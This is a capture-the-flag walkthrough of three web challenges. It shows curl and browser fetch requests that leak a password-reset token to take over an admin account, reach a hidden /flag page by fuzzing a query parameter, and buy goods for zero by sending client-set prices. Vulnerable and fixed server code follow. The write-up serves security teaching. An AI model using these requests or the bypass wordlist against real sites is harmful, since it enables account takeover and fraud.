Three challenges. Three forgotten developer shortcuts. One lesson: what you don't clean up will eventually be found.

Overview

The Vibe Security CTF presented three web-based challenges hosted on the same server. A login portal, a status page, and a grocery store. Each looked completely ordinary. Each hid a misconfiguration that any attacker with a browser, a fuzzer, and a bit of curiosity could exploit.

No zero-days. No complex shellcode. Just developers who moved fast and didn't clean up after themselves.

Challenge 1 — Admin Account Takeover via Debug API Endpoint

Target: http://104.248.51.203:3000/login Technique: API version enumeration → debug endpoint → reset token leak → account takeover

The Target

A clean login page: username, password, Forgot Password?. Nothing obviously interactive beyond that. Clean targets aren't safe targets — the vulnerabilities are just somewhere else.

Reconnaissance

Reading the JavaScript

I opened DevTools → Sources and read the forgot-password page's JavaScript. The API call was explicit:

fetch('/api/v1/send-reset-token', {
  method: 'POST',
  headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
  body: `username=${username}`
})

Production endpoint: POST /api/v1/send-reset-token

In production, this emails a reset link. We can't intercept email. But the hint said API version upgrade

Probing API v2

Developers often spin up a new API version (v2) during iteration and leave the old debug version running alongside it in production.

curl -X POST http://104.248.51.203:3000/api/v2/send-reset-token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=doesnotexist"

Response: { "error": "User not found" } — not a 404. The endpoint exists and processes requests.

Exploitation

curl -X POST http://104.248.51.203:3000/api/v2/send-reset-token \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "username=admin"

Response:

{
  "message": "Reset token generated",
  "resetUrl": "http://104.248.51.203:3000/reset-password?user=admin&token=1da4344f-f546-47e5-9a12-1d2769147411"
}

The v2 debug endpoint returns the reset URL directly in the HTTP response instead of emailing it. Navigate to that URL, set a new password, log in as admin.

FLAG{P@$$_R3537_4DM1N_74CK0V3R}

Attack Chain

POST /api/v2/send-reset-token { username: "admin" }
              ↓
    Response leaks full reset URL + token
              ↓
    Navigate to reset URL → set new password
              ↓
    Login as admin → FLAG ✅

Why It Happened & The Fix

The v2 endpoint was a developer shortcut to avoid SMTP setup during local testing. It shipped to production without being removed.

// VULNERABLE
app.post('/api/v2/send-reset-token', async (req, res) => {
  const user = await User.findOne({ username: req.body.username });
  if (!user) return res.status(404).json({ error: 'User not found' });
  const token = generateResetToken(user);
  const resetUrl = `${BASE_URL}/reset-password?user=${user.username}&token=${token}`;
  res.json({ message: 'Reset token generated', resetUrl }); // ← leaks token
});
// ✅ FIXED — token sent via email only, generic message prevents enumeration
app.post('/api/v1/send-reset-token', async (req, res) => {
  const user = await User.findOne({ username: req.body.username });
  if (user) {
    const token = generateResetToken(user);
    await sendPasswordResetEmail(user.email, token);
  }
  res.json({ message: 'If that username exists, a reset email has been sent.' });
});

Challenge 2 — Hidden Endpoint Discovery via Parameter Fuzzing

Target: http://104.248.51.203:9090/ Technique: ffuf endpoint discovery → 403 bypass via query parameter fuzzing

The Target

A "Secure Access Portal" with a single Check Status button that fired a JavaScript alert. No login, no links, no visible routes. A decoy homepage.

Reconnaissance

Fuzzing Endpoints with ffuf

ffuf -u http://104.248.51.203:9090/FUZZ \
     -w /usr/share/wordlists/dirb/common.txt \
     -mc 200,301,302,403 \
     -t 50

Output:

flag          [Status: 403, Size: 18]

A 403 is not a wall — it's a door with a broken lock. The endpoint exists. The server is just pretending we're not allowed.

Probing /flag

curl -v http://104.248.51.203:9090/flag
# → HTTP/1.1 403 Forbidden — "Access Denied"

Exploitation

ParamSpider mines historical parameter names from the Wayback Machine and web archives — surfacing parameter names that have been used on a target even if they're no longer visible in the frontend.

paramspider -d 104.248.51.203:9090

Combined with the hint (?display=true):

curl http://104.248.51.203:9090/flag?display=true
ACCESS GRANTED
FLAG{h1dd3n_3ndp01n7_d15c0v3r3d_p4ramp4m}

One query parameter. That was the entire "security" gate.

Attack Chain

GET /flag                →  403 Forbidden  (but endpoint is real)
       ↓
  ffuf discovers /flag
       ↓
  ParamSpider + manual fuzzing → ?display=true
       ↓
GET /flag?display=true   →  ACCESS GRANTED → FLAG 

Why It Happened & The Fix

The developer added a parameter check as a "hidden" access control gate. This is security through obscurity — the moment a fuzzer runs, the secret is out.


app.get('/flag', (req, res) => {
  if (req.query.display === 'true') {
    res.send('ACCESS GRANTED\n' + FLAG);
  } else {
    res.status(403).send('Access Denied');
  }
});
// FIXED — proper auth + role middleware
app.get('/flag', authenticate, authorize('admin'), (req, res) => {
  res.json({ flag: FLAG });
});

Common bypass parameter wordlist to try on any 403:

display, show, debug, verbose, admin, internal,
dev, test, bypass, reveal, enable, view, access,
flag, secret, hidden, preview, demo, force

Challenge 3 — Free Groceries via Client-Side Price Tampering

Target: http://104.248.51.203:8080/ Technique: Intercepting the checkout API request → injecting items into complimentary_items array with price set to 0

The Target

FreshMart — a fully functional grocery store with product categories (Fruits, Vegetables, Dairy, Snacks, Beverages), an add-to-cart flow, and a checkout modal. It looked legitimate. Stock counts, real prices in ₹, the whole experience.

The trap was in the checkout API.

Reconnaissance

Signing Up and Browsing

After creating an account at /signup, I browsed the products page. Sample prices:

Added a Strawberry (₹300) to the cart and opened DevTools → Network before clicking Proceed to Checkout.

Reading the JavaScript

Inside the frontend's checkout handler, the placeOrder function was visible:

function placeOrder() {
  fetch('/api/checkout', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({
      cart_items: cart,               // regular cart items
      complimentary_items: complimentaryItems  // "free" bonus items
    })
  });
}

Two arrays. cart_items contains the items you add to cart. complimentary_items is intended for server-assigned promotional/bonus items. The server accepts both — and trusts the prices sent for both.

Exploitation

The server was not validating whether items in complimentary_items were actually authorized to be free. It accepted any item with any price — including 0.

I bypassed the UI entirely and fired a crafted fetch directly from the browser console:

fetch('/api/checkout', {
  method: 'POST',
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({
    cart_items: [],
    complimentary_items: [
      { id: 4, name: 'Strawberry', price: 0, quantity: 1, unit: 'box' }
    ]
  })
})
.then(r => r.json())
.then(console.log)

Response:

{
  "message": "Order placed successfully!",
  "total": 0,
  "flag": "FLAG{fr33_gr0c3r13s_l0g1c_fl4w}"
}

₹300 of groceries. ₹0 paid. Flag captured.

Attack Chain

Sign up → Add Strawberry (₹300) to cart
              ↓
    Read JS → discover /api/checkout request structure
              ↓
    Craft request: move item to complimentary_items, set price: 0
              ↓
POST /api/checkout { cart_items: [], complimentary_items: [{price: 0}] }
              ↓
    Server trusts client-sent price → Total: ₹0 → FLAG 

Why It Happened & The Fix

This is a textbook business logic vulnerability — the server trusted the client to send correct prices instead of computing the total server-side from its own database.

This pattern is extremely common in real-world e-commerce bugs. Many bug bounty programs pay high severity for exactly this class of issue.


app.post('/api/checkout', authenticate, async (req, res) => {
  const { cart_items, complimentary_items } = req.body;
  // Calculates total using prices sent by the client ← never do this
  const total = [...cart_items, ...complimentary_items]
    .reduce((sum, item) => sum + (item.price * item.quantity), 0);
  await createOrder(req.user.id, cart_items, total);
  res.json({ message: 'Order placed!', total });
});
// FIXED — server fetches prices from its own database
app.post('/api/checkout', authenticate, async (req, res) => {
  const { cart_items } = req.body; // only accept item IDs + quantities from client
  let total = 0;
  const verifiedItems = [];
  for (const item of cart_items) {
    // Fetch authoritative price from the database — never trust the client
    const product = await Product.findById(item.id);
    if (!product) return res.status(400).json({ error: 'Invalid product' });
    total += product.price * item.quantity;
    verifiedItems.push({ ...product.toObject(), quantity: item.quantity });
  }
  // Complimentary items are server-assigned only — never client-controlled
  const complimentaryItems = await getServerAssignedComplimentaryItems(req.user.id);
  await createOrder(req.user.id, verifiedItems, complimentaryItems, total);
  res.json({ message: 'Order placed!', total });
});

Combined Takeaways

Three different challenges. Three different entry points. One shared root cause: trusting input that should never be trusted.

For Developers

  1. Never deploy debug endpoints to production. Use NODE_ENV checks to disable debug routes at the application level.
  2. Never use query parameters as access control. They are user-controlled, logged, cached, and fuzzable.
  3. Never trust client-sent prices. Prices must always be fetched server-side from the database at the time of transaction.
  4. Audit your own attack surface. Run ffuf, arjun, and paramspider against your staging environment before every release.
  5. Log anomalous behavior. ₹0 orders, excessive reset requests, and version probing are all detectable signals.

For Pentesters & CTF Players

  1. Read the JavaScript. Frontend code reveals the API contract — endpoints, parameters, request bodies, and expected values.
  2. A 403 is not a wall. Probe it with different methods, headers, and parameters.
  3. Fuzz API versions. If you see /api/v1/, always try v0, v2, v3, beta, debug, internal.
  4. Intercept every checkout request. E-commerce checkout flows are a goldmine for business logic bugs — price, quantity, discount codes, and shipping fields are all candidates for manipulation.
  5. The hint is always literal. In CTFs and in real engagements, error messages, JS comments, and response fields are your roadmap.

Final Flags

Challenge 1 → FLAG{P@$$_R3537_4DM1N_74CK0V3R}
Challenge 2 → FLAG{h1dd3n_3ndp01n7_d15c0v3r3d_p4ramp4m}
Challenge 3 → FLAG{fr33_gr0c3r13s_l0g1c_fl4w}

Found this walkthrough helpful? Follow for more CTF writeups, web app pentesting deep-dives, and hands-on exploitation tutorials.

Tags: #CTF #VibeSecurity #WebSecurity #APISecurity #BusinessLogic #PriceTampering #ParameterFuzzing #BugBounty #PenTesting #OWASP #EthicalHacking #ffuf #ParamSpider #CyberSecurity